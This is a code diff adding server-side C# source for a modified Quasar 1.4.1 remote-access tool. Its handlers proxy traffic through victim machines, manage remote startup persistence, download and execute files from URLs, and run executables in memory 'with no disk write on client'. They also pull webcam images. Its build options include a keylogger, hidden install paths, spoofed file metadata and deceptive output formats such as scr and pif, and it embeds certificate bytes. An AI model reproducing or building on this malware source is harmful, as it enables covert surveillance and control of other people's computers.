: base(true) + { + _socksServer = new ReverseProxyServer(); + _clients = clients; + } + + /// + public override bool CanExecute(IMessage message) => message is ReverseProxyConnectResponse || + message is ReverseProxyData || + message is ReverseProxyDisconnect; + + /// + public override bool CanExecuteFrom(ISender sender) => _clients.Any(c => c.Equals(sender)); + + /// + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case ReverseProxyConnectResponse con: + Execute(sender, con); + break; + case ReverseProxyData data: + Execute(sender, data); + break; + case ReverseProxyDisconnect disc: + Execute(sender, disc); + break; + } + } + + /// + /// Starts the reverse proxy server using the given port. + /// + /// The port to listen on. + public void StartReverseProxyServer(ushort port) + { + _socksServer.OnConnectionEstablished += socksServer_onConnectionEstablished; + _socksServer.OnUpdateConnection += socksServer_onUpdateConnection; + _socksServer.StartServer(_clients, "0.0.0.0", port); + } + + /// + /// Stops the reverse proxy server. + /// + public void StopReverseProxyServer() + { + _socksServer.Stop(); + _socksServer.OnConnectionEstablished -= socksServer_onConnectionEstablished; + _socksServer.OnUpdateConnection -= socksServer_onUpdateConnection; + } + + private void Execute(ISender client, ReverseProxyConnectResponse message) + { + ReverseProxyClient socksClient = _socksServer.GetClientByConnectionId(message.ConnectionId); + socksClient?.HandleCommandResponse(message); + } + + private void Execute(ISender client, ReverseProxyData message) + { + ReverseProxyClient socksClient = _socksServer.GetClientByConnectionId(message.ConnectionId); + socksClient?.SendToClient(message.Data); + } + + private void Execute(ISender client, ReverseProxyDisconnect message) + { + ReverseProxyClient socksClient = _socksServer.GetClientByConnectionId(message.ConnectionId); + socksClient?.Disconnect(); + } + + void socksServer_onUpdateConnection(ReverseProxyClient proxyClient) + { + OnReport(_socksServer.OpenConnections); + } + + void socksServer_onConnectionEstablished(ReverseProxyClient proxyClient) + { + OnReport(_socksServer.OpenConnections); + } + + /// + /// Disposes all managed and unmanaged resources associated with this message processor. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + StopReverseProxyServer(); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Messages/StartupManagerHandler.cs b/Quasar-1.4.1/Quasar.Server/Messages/StartupManagerHandler.cs new file mode 100755 index 0000000..6aa4c98 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Messages/StartupManagerHandler.cs @@ -0,0 +1,76 @@ +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Common.Networking; +using Quasar.Server.Networking; +using System.Collections.Generic; + +namespace Quasar.Server.Messages +{ + /// + /// Handles messages for the interaction with remote startup tasks. + /// + public class StartupManagerHandler : MessageProcessorBase> + { + /// + /// The client which is associated with this startup manager handler. + /// + private readonly Client _client; + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The associated client. + public StartupManagerHandler(Client client) : base(true) + { + _client = client; + } + + /// + public override bool CanExecute(IMessage message) => message is GetStartupItemsResponse; + + /// + public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender); + + /// + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetStartupItemsResponse items: + Execute(sender, items); + break; + } + } + + /// + /// Refreshes the current startup items. + /// + public void RefreshStartupItems() + { + _client.Send(new GetStartupItems()); + } + + /// + /// Removes an item from startup. + /// + /// Startup item to remove. + public void RemoveStartupItem(StartupItem item) + { + _client.Send(new DoStartupItemRemove {StartupItem = item}); + } + + /// + /// Adds an item to startup. + /// + /// Startup item to add. + public void AddStartupItem(StartupItem item) + { + _client.Send(new DoStartupItemAdd {StartupItem = item}); + } + + private void Execute(ISender client, GetStartupItemsResponse message) + { + OnReport(message.StartupItems); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Messages/SurvivalLogHandler.cs b/Quasar-1.4.1/Quasar.Server/Messages/SurvivalLogHandler.cs new file mode 100755 index 0000000..5887fd7 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Messages/SurvivalLogHandler.cs @@ -0,0 +1,42 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using Quasar.Server.Networking; +using System; +using System.Windows.Forms; + +namespace Quasar.Server.Messages +{ + public class SurvivalLogHandler : MessageProcessorBase + { + public SurvivalLogHandler() : base(true) + { + } + + public override bool CanExecute(IMessage message) => message is NewSurvivalLog; + + public override bool CanExecuteFrom(ISender sender) => true; + + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case NewSurvivalLog response: + Execute(sender, response); + break; + } + } + + private void Execute(ISender client, NewSurvivalLog message) + { + string title = message.LogType == "error" ? "Survival Error" : + message.LogType == "complete" ? "Survival Complete" : + "Survival Status"; + + MessageBoxIcon icon = message.LogType == "error" ? MessageBoxIcon.Error : + message.LogType == "complete" ? MessageBoxIcon.Information : + MessageBoxIcon.Information; + + MessageBox.Show(message.Log, title, MessageBoxButtons.OK, icon); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Messages/SystemInformationHandler.cs b/Quasar-1.4.1/Quasar.Server/Messages/SystemInformationHandler.cs new file mode 100755 index 0000000..42d8adb --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Messages/SystemInformationHandler.cs @@ -0,0 +1,73 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using Quasar.Server.Networking; +using System; +using System.Collections.Generic; + +namespace Quasar.Server.Messages +{ + /// + /// Handles messages for the interaction with the remote system information. + /// + public class SystemInformationHandler : MessageProcessorBase>> + { + /// + /// The client which is associated with this system information handler. + /// + private readonly Client _client; + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The associated client. + public SystemInformationHandler(Client client) : base(true) + { + _client = client; + } + + /// + public override bool CanExecute(IMessage message) => message is GetSystemInfoResponse; + + /// + public override bool CanExecuteFrom(ISender client) => _client.Equals(client); + + /// + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetSystemInfoResponse info: + Execute(sender, info); + break; + } + } + + /// + /// Refreshes the system information of the client. + /// + public void RefreshSystemInformation() + { + _client.Send(new GetSystemInfo()); + } + + private void Execute(ISender client, GetSystemInfoResponse message) + { + OnReport(message.SystemInfos); + + // TODO: Refactor tooltip + //if (Settings.ShowToolTip) + //{ + // var builder = new StringBuilder(); + // for (int i = 0; i < packet.SystemInfos.Length; i += 2) + // { + // if (packet.SystemInfos[i] != null && packet.SystemInfos[i + 1] != null) + // { + // builder.AppendFormat("{0}: {1}\r\n", packet.SystemInfos[i], packet.SystemInfos[i + 1]); + // } + // } + + // FrmMain.Instance.SetToolTipText(client, builder.ToString()); + //} + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Messages/SystemOptionHandler.cs b/Quasar-1.4.1/Quasar.Server/Messages/SystemOptionHandler.cs new file mode 100755 index 0000000..8a40764 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Messages/SystemOptionHandler.cs @@ -0,0 +1,29 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using Quasar.Server.Forms; +using Quasar.Server.Networking; + +namespace Quasar.Server.Messages +{ + public class SystemOptionHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is SystemOptionResponse; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case SystemOptionResponse response: + Execute((Client)sender, response); + break; + } + } + + private void Execute(Client client, SystemOptionResponse message) + { + FrmSystemOptions.Instance?.HandleResponse(client, message); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Messages/TaskManagerHandler.cs b/Quasar-1.4.1/Quasar.Server/Messages/TaskManagerHandler.cs new file mode 100755 index 0000000..3acff58 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Messages/TaskManagerHandler.cs @@ -0,0 +1,133 @@ +using Quasar.Common.Enums; +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Common.Networking; +using Quasar.Server.Networking; + +namespace Quasar.Server.Messages +{ + /// + /// Handles messages for the interaction with remote tasks. + /// + public class TaskManagerHandler : MessageProcessorBase + { + /// + /// Represents the method that will handle the result of a process action. + /// + /// The message processor which raised the event. + /// The process action which was performed. + /// The result of the performed process action. + public delegate void ProcessActionPerformedEventHandler(object sender, ProcessAction action, bool result); + + /// + /// Raised when a result of a started process is received. + /// + /// + /// Handlers registered with this event will be invoked on the + /// chosen when the instance was constructed. + /// + public event ProcessActionPerformedEventHandler ProcessActionPerformed; + + /// + /// Reports the result of a started process. + /// + /// The process action which was performed. + /// The result of the performed process action. + private void OnProcessActionPerformed(ProcessAction action, bool result) + { + SynchronizationContext.Post(r => + { + var handler = ProcessActionPerformed; + handler?.Invoke(this, action, (bool)r); + }, result); + } + + /// + /// The client which is associated with this remote execution handler. + /// + private readonly Client _client; + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The associated client. + public TaskManagerHandler(Client client) : base(true) + { + _client = client; + } + + public override bool CanExecute(IMessage message) => message is DoProcessResponse || + message is GetProcessesResponse; + + public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender); + + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoProcessResponse execResp: + Execute(sender, execResp); + break; + case GetProcessesResponse procResp: + Execute(sender, procResp); + break; + } + } + + /// + /// Starts a new process remotely. + /// + /// The remote path used for starting the new process. + /// Decides whether the process is a client update. + public void StartProcess(string remotePath, bool isUpdate = false) + { + _client.Send(new DoProcessStart { FilePath = remotePath, IsUpdate = isUpdate }); + } + + /// + /// Downloads a file from the web and executes it remotely. + /// + /// The URL to download and execute. + /// Decides whether the file is a client update. + public void StartProcessFromWeb(string url, bool isUpdate = false) + { + _client.Send(new DoProcessStart { DownloadUrl = url, IsUpdate = isUpdate}); + } + + /// + /// Sends raw PE bytes to the client for in-memory execution (no disk write on client). + /// + /// The raw executable bytes. + public void StartProcessInMemory(byte[] payload) + { + _client.Send(new DoProcessStart { ExecuteInMemory = true, Payload = payload }); + } + + /// + /// Refreshes the current started processes. + /// + public void RefreshProcesses() + { + _client.Send(new GetProcesses()); + } + + /// + /// Ends a started process given the process id. + /// + /// The process id to end. + public void EndProcess(int pid) + { + _client.Send(new DoProcessEnd { Pid = pid }); + } + + private void Execute(ISender client, DoProcessResponse message) + { + OnProcessActionPerformed(message.Action, message.Result); + } + + private void Execute(ISender client, GetProcessesResponse message) + { + OnReport(message.Processes); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Messages/TcpConnectionsHandler.cs b/Quasar-1.4.1/Quasar.Server/Messages/TcpConnectionsHandler.cs new file mode 100755 index 0000000..3a3ece2 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Messages/TcpConnectionsHandler.cs @@ -0,0 +1,76 @@ +using Quasar.Common.Messages; +using Quasar.Common.Models; +using Quasar.Common.Networking; +using Quasar.Server.Networking; + +namespace Quasar.Server.Messages +{ + /// + /// Handles messages for the interaction with remote TCP connections. + /// + public class TcpConnectionsHandler : MessageProcessorBase + { + /// + /// The client which is associated with this tcp connections handler. + /// + private readonly Client _client; + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The associated client. + public TcpConnectionsHandler(Client client) : base(true) + { + _client = client; + } + + /// + public override bool CanExecute(IMessage message) => message is GetConnectionsResponse; + + /// + public override bool CanExecuteFrom(ISender sender) => _client.Equals(sender); + + /// + public override void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetConnectionsResponse con: + Execute(sender, con); + break; + } + } + + /// + /// Refreshes the current TCP connections. + /// + public void RefreshTcpConnections() + { + _client.Send(new GetConnections()); + } + + /// + /// Closes a TCP connection of the client. + /// + /// Local address. + /// Local port. + /// Remote address. + /// Remote port. + public void CloseTcpConnection(string localAddress, ushort localPort, string remoteAddress, ushort remotePort) + { + // a unique tcp connection is determined by local address + port and remote address + port + _client.Send(new DoCloseConnection + { + LocalAddress = localAddress, + LocalPort = localPort, + RemoteAddress = remoteAddress, + RemotePort = remotePort + }); + } + + private void Execute(ISender client, GetConnectionsResponse message) + { + OnReport(message.Connections); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Messages/WebcamHandler.cs b/Quasar-1.4.1/Quasar.Server/Messages/WebcamHandler.cs new file mode 100755 index 0000000..105a9fb --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Messages/WebcamHandler.cs @@ -0,0 +1,51 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using Quasar.Server.Networking; +using System; +using System.Collections.Generic; +using System.Diagnostics; + +namespace Quasar.Server.Messages +{ + public class WebcamHandler : IMessageProcessor, IDisposable + { + public event EventHandler ImageReceived; + public event EventHandler WebcamsReceived; + + public bool CanExecute(IMessage message) => message is GetWebcamsResponse || + message is GetWebcamResponse; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case GetWebcamsResponse resp: + Execute((Client)sender, resp); + break; + case GetWebcamResponse resp: + Execute((Client)sender, resp); + break; + } + } + + private void Execute(Client client, GetWebcamsResponse message) + { + Debug.WriteLine($"[WebcamHandler] GetWebcamsResponse received: {message.Webcams}"); + WebcamsReceived?.Invoke(this, message.Webcams); + } + + private void Execute(Client client, GetWebcamResponse message) + { + Debug.WriteLine($"[WebcamHandler] GetWebcamResponse received - Image size: {message.Image?.Length ?? 0} bytes"); + ImageReceived?.Invoke(this, message.Image); + } + + public void Dispose() + { + ImageReceived = null; + WebcamsReceived = null; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Models/BuildOptions.cs b/Quasar-1.4.1/Quasar.Server/Models/BuildOptions.cs new file mode 100755 index 0000000..fee2bd3 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Models/BuildOptions.cs @@ -0,0 +1,28 @@ +namespace Quasar.Server.Models +{ + public class BuildOptions + { + public bool Install { get; set; } + public bool Startup { get; set; } + public bool HideFile { get; set; } + public bool Keylogger { get; set; } + public string Tag { get; set; } + public string Mutex { get; set; } + public string RawHosts { get; set; } + public string IconPath { get; set; } + public string Version { get; set; } + public string InstallSub { get; set; } + public string InstallName { get; set; } + public string StartupName { get; set; } + public string OutputPath { get; set; } + public int Delay { get; set; } + public short InstallPath { get; set; } + public string[] AssemblyInformation { get; set; } + public string LogDirectoryName { get; set; } + public bool HideLogDirectory { get; set; } + public bool HideInstallSubdirectory { get; set; } + public bool UnattendedMode { get; set; } + /// Output format: exe, scr, pif, com, bat, vbs + public string OutputFormat { get; set; } = "exe"; + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Models/BuilderProfile.cs b/Quasar-1.4.1/Quasar.Server/Models/BuilderProfile.cs new file mode 100755 index 0000000..8d074f0 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Models/BuilderProfile.cs @@ -0,0 +1,410 @@ +using System; +using System.IO; +using System.Windows.Forms; +using System.Xml; +using System.Xml.XPath; + +namespace Quasar.Server.Models +{ + public class BuilderProfile + { + private readonly string _profilePath; + + public string Hosts + { + get + { + return ReadValueSafe("Hosts"); + } + set + { + WriteValue("Hosts", value); + } + } + + public string Tag + { + get + { + return ReadValueSafe("Tag", "Office04"); + } + set + { + WriteValue("Tag", value); + } + } + + public int Delay + { + get + { + return int.Parse(ReadValueSafe("Delay", "3000")); + } + set + { + WriteValue("Delay", value.ToString()); + } + } + + public string Mutex + { + get + { + return ReadValueSafe("Mutex", Guid.NewGuid().ToString()); + } + set + { + WriteValue("Mutex", value); + } + } + + public bool UnattendedMode + { + get + { + return bool.Parse(ReadValueSafe("UnattendedMode", "False")); + } + set + { + WriteValue("UnattendedMode", value.ToString()); + } + } + + public bool InstallClient + { + get + { + return bool.Parse(ReadValueSafe("InstallClient", "False")); + } + set + { + WriteValue("InstallClient", value.ToString()); + } + } + + public string InstallName + { + get + { + return ReadValueSafe("InstallName", "Client"); + } + set + { + WriteValue("InstallName", value); + } + } + + public short InstallPath + { + get + { + return short.Parse(ReadValueSafe("InstallPath", "1")); + } + set + { + WriteValue("InstallPath", value.ToString()); + } + } + + public string InstallSub + { + get + { + return ReadValueSafe("InstallSub", "SubDir"); + } + set + { + WriteValue("InstallSub", value); + } + } + + public bool HideFile + { + get + { + return bool.Parse(ReadValueSafe("HideFile", "False")); + } + set + { + WriteValue("HideFile", value.ToString()); + } + } + + public bool HideSubDirectory + { + get + { + return bool.Parse(ReadValueSafe("HideSubDirectory", "False")); + } + set + { + WriteValue("HideSubDirectory", value.ToString()); + } + } + + public bool AddStartup + { + get + { + return bool.Parse(ReadValueSafe("AddStartup", "False")); + } + set + { + WriteValue("AddStartup", value.ToString()); + } + } + + public string RegistryName + { + get + { + return ReadValueSafe("RegistryName", "Quasar Client Startup"); + } + set + { + WriteValue("RegistryName", value); + } + } + + public bool ChangeIcon + { + get + { + return bool.Parse(ReadValueSafe("ChangeIcon", "False")); + } + set + { + WriteValue("ChangeIcon", value.ToString()); + } + } + + public string IconPath + { + get + { + return ReadValueSafe("IconPath"); + } + set + { + WriteValue("IconPath", value); + } + } + + public bool ChangeAsmInfo + { + get + { + return bool.Parse(ReadValueSafe("ChangeAsmInfo", "False")); + } + set + { + WriteValue("ChangeAsmInfo", value.ToString()); + } + } + + public bool Keylogger + { + get + { + return bool.Parse(ReadValueSafe("Keylogger", "False")); + } + set + { + WriteValue("Keylogger", value.ToString()); + } + } + + public string LogDirectoryName + { + get + { + return ReadValueSafe("LogDirectoryName", "Logs"); + } + set + { + WriteValue("LogDirectoryName", value); + } + } + + public bool HideLogDirectory + { + get + { + return bool.Parse(ReadValueSafe("HideLogDirectory", "False")); + } + set + { + WriteValue("HideLogDirectory", value.ToString()); + } + } + + public string ProductName + { + get + { + return ReadValueSafe("ProductName"); + } + set + { + WriteValue("ProductName", value); + } + } + + public string Description + { + get + { + return ReadValueSafe("Description"); + } + set + { + WriteValue("Description", value); + } + } + + public string CompanyName + { + get + { + return ReadValueSafe("CompanyName"); + } + set + { + WriteValue("CompanyName", value); + } + } + + public string Copyright + { + get + { + return ReadValueSafe("Copyright"); + } + set + { + WriteValue("Copyright", value); + } + } + + public string Trademarks + { + get + { + return ReadValueSafe("Trademarks"); + } + set + { + WriteValue("Trademarks", value); + } + } + + public string OriginalFilename + { + get + { + return ReadValueSafe("OriginalFilename"); + } + set + { + WriteValue("OriginalFilename", value); + } + } + + public string ProductVersion + { + get + { + return ReadValueSafe("ProductVersion"); + } + set + { + WriteValue("ProductVersion", value); + } + } + + public string FileVersion + { + get + { + return ReadValueSafe("FileVersion"); + } + set + { + WriteValue("FileVersion", value); + } + } + + public BuilderProfile(string profileName) + { + if (string.IsNullOrEmpty(profileName)) throw new ArgumentException("Invalid Profile Path"); + _profilePath = Path.Combine(Application.StartupPath, "Profiles\\" + profileName + ".xml"); + } + + private string ReadValue(string pstrValueToRead) + { + try + { + XPathDocument doc = new XPathDocument(_profilePath); + XPathNavigator nav = doc.CreateNavigator(); + XPathExpression expr = nav.Compile(@"/settings/" + pstrValueToRead); + XPathNodeIterator iterator = nav.Select(expr); + while (iterator.MoveNext()) + { + return iterator.Current.Value; + } + + return string.Empty; + } + catch + { + return string.Empty; + } + } + + private string ReadValueSafe(string pstrValueToRead, string defaultValue = "") + { + string value = ReadValue(pstrValueToRead); + return (!string.IsNullOrEmpty(value)) ? value : defaultValue; + } + + private void WriteValue(string pstrValueToRead, string pstrValueToWrite) + { + try + { + XmlDocument doc = new XmlDocument(); + + if (File.Exists(_profilePath)) + { + using (var reader = new XmlTextReader(_profilePath)) + { + doc.Load(reader); + } + } + else + { + var dir = Path.GetDirectoryName(_profilePath); + if (!Directory.Exists(dir)) + { + Directory.CreateDirectory(dir); + } + doc.AppendChild(doc.CreateElement("settings")); + } + + XmlElement root = doc.DocumentElement; + XmlNode oldNode = root.SelectSingleNode(@"/settings/" + pstrValueToRead); + if (oldNode == null) // create if not exist + { + oldNode = doc.SelectSingleNode("settings"); + oldNode.AppendChild(doc.CreateElement(pstrValueToRead)).InnerText = pstrValueToWrite; + doc.Save(_profilePath); + return; + } + oldNode.InnerText = pstrValueToWrite; + doc.Save(_profilePath); + } + catch + { + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Models/DummyCertificate.cs b/Quasar-1.4.1/Quasar.Server/Models/DummyCertificate.cs new file mode 100755 index 0000000..7ee8558 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Models/DummyCertificate.cs @@ -0,0 +1,200 @@ +using System.Security.Cryptography.X509Certificates; + +namespace Quasar.Server.Models +{ + /// + /// Provides a dummy certificate for debugging. Do not use in production. + /// + public sealed class DummyCertificate : X509Certificate2 + { + private static readonly byte[] CertificateBytes = + { + 48, 130, 16, 163, 2, 1, 3, 48, 130, 16, 95, 6, 9, 42, 134, 72, 134, 247, 13, 1, 7, 1, 160, 130, 16, 80, 4, + 130, 16, 76, 48, 130, 16, 72, 48, 130, 10, 177, 6, 9, 42, 134, 72, 134, 247, 13, 1, 7, 1, 160, 130, 10, 162, + 4, 130, 10, 158, 48, 130, 10, 154, 48, 130, 10, 150, 6, 11, 42, 134, 72, 134, 247, 13, 1, 12, 10, 1, 2, 160, + 130, 9, 126, 48, 130, 9, 122, 48, 28, 6, 10, 42, 134, 72, 134, 247, 13, 1, 12, 1, 3, 48, 14, 4, 8, 55, 218, + 160, 56, 14, 249, 193, 233, 2, 2, 7, 208, 4, 130, 9, 88, 200, 194, 253, 138, 219, 236, 70, 232, 138, 10, 70, + 100, 167, 76, 74, 50, 45, 18, 111, 58, 93, 132, 87, 28, 203, 147, 242, 255, 250, 211, 45, 70, 61, 227, 211, + 189, 24, 140, 30, 238, 231, 207, 40, 100, 115, 10, 78, 79, 243, 48, 109, 55, 71, 46, 223, 169, 135, 33, 119, + 67, 58, 16, 65, 45, 3, 94, 57, 129, 84, 18, 83, 77, 105, 100, 87, 180, 125, 168, 229, 247, 113, 150, 224, + 249, 36, 150, 140, 88, 20, 195, 200, 125, 3, 161, 133, 194, 135, 71, 196, 59, 7, 101, 146, 63, 140, 0, 0, + 190, 166, 13, 86, 157, 225, 181, 78, 176, 62, 206, 73, 30, 69, 99, 65, 197, 122, 75, 135, 21, 122, 19, 110, + 25, 0, 19, 130, 90, 74, 32, 117, 253, 141, 107, 149, 94, 122, 121, 251, 129, 17, 152, 23, 148, 19, 81, 178, + 237, 190, 85, 253, 215, 145, 119, 77, 0, 69, 76, 148, 226, 232, 121, 200, 51, 213, 142, 55, 68, 238, 132, + 80, 196, 163, 175, 246, 6, 205, 164, 59, 159, 111, 72, 42, 100, 8, 37, 152, 69, 241, 237, 217, 20, 168, 30, + 168, 54, 131, 47, 127, 229, 13, 24, 33, 109, 37, 254, 105, 168, 48, 81, 20, 166, 150, 43, 242, 139, 104, + 209, 134, 51, 8, 6, 255, 107, 49, 40, 140, 41, 130, 238, 6, 193, 51, 203, 107, 144, 43, 60, 118, 9, 243, 96, + 45, 212, 72, 129, 126, 204, 180, 165, 208, 158, 174, 244, 42, 241, 148, 107, 231, 233, 80, 117, 114, 204, + 37, 80, 246, 180, 99, 138, 254, 132, 96, 235, 171, 136, 82, 198, 55, 115, 203, 195, 180, 150, 155, 182, 73, + 191, 146, 194, 83, 98, 114, 100, 93, 146, 25, 36, 71, 169, 179, 22, 119, 49, 38, 60, 147, 27, 32, 168, 45, + 140, 6, 83, 44, 14, 226, 54, 122, 98, 105, 50, 191, 166, 12, 102, 226, 110, 220, 54, 42, 141, 93, 11, 200, + 172, 94, 19, 75, 164, 69, 17, 145, 108, 138, 54, 226, 47, 226, 2, 6, 209, 217, 27, 136, 7, 189, 189, 20, 60, + 77, 186, 166, 233, 243, 15, 2, 62, 82, 219, 35, 144, 191, 26, 21, 20, 200, 92, 70, 215, 127, 243, 180, 125, + 222, 249, 91, 125, 54, 117, 123, 0, 86, 65, 156, 222, 235, 164, 184, 54, 117, 24, 176, 198, 242, 144, 109, + 212, 0, 195, 16, 219, 74, 28, 101, 99, 107, 102, 202, 58, 247, 59, 220, 218, 57, 245, 103, 90, 85, 252, 205, + 105, 125, 109, 154, 142, 77, 76, 146, 49, 222, 17, 149, 128, 106, 106, 231, 75, 106, 4, 127, 146, 15, 143, + 40, 136, 178, 225, 61, 123, 70, 135, 188, 34, 235, 63, 89, 77, 154, 55, 65, 194, 36, 70, 61, 176, 80, 33, + 69, 224, 131, 147, 75, 240, 179, 195, 45, 226, 152, 9, 142, 95, 30, 108, 203, 1, 179, 113, 138, 86, 3, 155, + 17, 171, 178, 179, 200, 172, 189, 230, 211, 167, 111, 219, 157, 175, 110, 33, 53, 162, 249, 155, 110, 249, + 159, 120, 168, 146, 98, 119, 140, 238, 13, 77, 16, 35, 183, 200, 20, 74, 25, 105, 245, 48, 91, 75, 210, 195, + 168, 76, 172, 157, 202, 203, 108, 34, 162, 141, 136, 183, 111, 195, 40, 142, 151, 95, 157, 57, 211, 5, 127, + 199, 170, 45, 192, 147, 52, 17, 75, 197, 52, 214, 172, 126, 206, 134, 135, 204, 128, 251, 33, 36, 238, 83, + 74, 59, 166, 161, 177, 59, 226, 243, 152, 190, 168, 212, 127, 120, 115, 65, 76, 132, 115, 150, 146, 225, + 210, 208, 114, 121, 11, 107, 230, 225, 140, 250, 169, 215, 83, 231, 124, 35, 207, 76, 20, 69, 31, 184, 210, + 184, 55, 170, 226, 118, 0, 252, 105, 91, 201, 82, 36, 4, 45, 135, 38, 168, 81, 202, 91, 49, 217, 213, 26, + 210, 77, 37, 5, 57, 71, 227, 23, 58, 18, 221, 194, 34, 88, 218, 219, 124, 48, 230, 8, 239, 185, 169, 150, + 190, 246, 112, 92, 208, 93, 160, 248, 197, 64, 196, 20, 20, 11, 239, 147, 195, 179, 47, 136, 153, 24, 143, + 103, 57, 88, 246, 122, 63, 203, 165, 192, 130, 130, 228, 235, 45, 36, 103, 235, 165, 72, 130, 45, 222, 212, + 50, 179, 154, 77, 71, 102, 1, 44, 21, 19, 215, 240, 134, 231, 124, 222, 168, 210, 191, 141, 7, 193, 102, + 148, 81, 46, 6, 111, 14, 14, 48, 29, 21, 54, 166, 217, 32, 106, 240, 69, 137, 171, 58, 217, 110, 79, 172, + 92, 198, 174, 177, 196, 10, 10, 214, 105, 43, 125, 185, 217, 58, 252, 60, 229, 252, 126, 109, 79, 234, 35, + 215, 121, 141, 120, 21, 222, 174, 186, 64, 190, 244, 66, 251, 17, 168, 85, 199, 233, 182, 233, 75, 107, 0, + 176, 71, 27, 167, 216, 84, 78, 115, 128, 177, 20, 104, 248, 219, 68, 95, 250, 30, 126, 25, 223, 195, 17, 76, + 245, 157, 52, 91, 201, 180, 142, 110, 114, 229, 89, 65, 43, 72, 2, 44, 85, 207, 69, 15, 189, 152, 230, 94, + 245, 153, 171, 151, 15, 38, 177, 167, 28, 206, 43, 190, 125, 8, 106, 233, 168, 156, 106, 196, 116, 163, 130, + 10, 247, 189, 5, 181, 50, 254, 76, 158, 252, 132, 192, 117, 97, 158, 141, 33, 184, 27, 118, 101, 224, 128, + 59, 18, 247, 205, 18, 129, 45, 115, 122, 139, 11, 35, 18, 227, 210, 131, 181, 24, 41, 10, 177, 203, 116, + 241, 106, 117, 133, 217, 104, 173, 161, 44, 114, 98, 234, 7, 165, 200, 89, 183, 148, 230, 84, 129, 196, 142, + 146, 208, 121, 38, 64, 124, 23, 23, 181, 182, 54, 122, 142, 127, 204, 56, 30, 92, 113, 123, 182, 97, 186, + 214, 44, 237, 20, 141, 47, 38, 47, 197, 69, 237, 13, 5, 244, 220, 251, 31, 45, 223, 195, 193, 42, 136, 36, + 150, 133, 161, 244, 29, 82, 228, 253, 63, 147, 254, 58, 92, 194, 4, 162, 190, 16, 61, 177, 222, 122, 10, 73, + 106, 196, 243, 153, 240, 22, 223, 123, 107, 193, 59, 23, 45, 129, 14, 12, 184, 85, 22, 233, 165, 212, 188, + 30, 68, 154, 206, 135, 223, 170, 149, 242, 10, 55, 73, 215, 162, 5, 53, 75, 45, 179, 62, 160, 240, 145, 200, + 154, 61, 75, 135, 108, 33, 16, 206, 89, 185, 120, 182, 229, 224, 31, 98, 244, 136, 229, 55, 205, 55, 75, + 237, 41, 122, 64, 160, 189, 1, 15, 245, 126, 248, 74, 130, 135, 237, 66, 207, 142, 192, 217, 123, 74, 140, + 44, 93, 199, 145, 157, 103, 12, 235, 224, 194, 168, 213, 49, 82, 251, 182, 219, 240, 37, 197, 255, 120, 151, + 99, 204, 210, 191, 231, 8, 230, 241, 3, 136, 120, 234, 38, 251, 234, 130, 231, 30, 6, 123, 12, 147, 83, 195, + 107, 233, 97, 131, 124, 237, 7, 119, 16, 61, 243, 36, 24, 53, 8, 140, 85, 158, 232, 206, 234, 21, 163, 245, + 160, 171, 174, 130, 206, 74, 19, 178, 161, 187, 9, 69, 121, 179, 67, 24, 139, 165, 161, 189, 246, 203, 36, + 215, 192, 64, 32, 34, 201, 135, 179, 135, 111, 148, 202, 214, 11, 125, 200, 194, 8, 254, 86, 31, 134, 127, + 118, 217, 108, 94, 58, 158, 238, 164, 51, 65, 142, 247, 19, 244, 154, 56, 17, 159, 173, 138, 182, 220, 118, + 239, 73, 245, 229, 183, 44, 206, 238, 154, 153, 111, 97, 130, 52, 150, 241, 191, 20, 5, 237, 122, 12, 74, + 23, 154, 29, 229, 255, 210, 254, 180, 215, 111, 62, 254, 8, 69, 226, 216, 142, 183, 6, 114, 37, 178, 215, + 191, 166, 72, 34, 86, 77, 154, 110, 211, 90, 14, 233, 200, 43, 232, 193, 206, 26, 38, 76, 111, 187, 90, 118, + 142, 122, 92, 96, 124, 187, 144, 0, 164, 134, 211, 88, 60, 17, 169, 76, 105, 77, 243, 27, 155, 93, 33, 13, + 3, 184, 184, 220, 19, 174, 221, 225, 121, 112, 99, 122, 173, 96, 14, 98, 244, 42, 187, 57, 108, 8, 214, 60, + 77, 113, 249, 110, 152, 96, 52, 186, 176, 201, 142, 21, 204, 41, 163, 3, 192, 99, 140, 189, 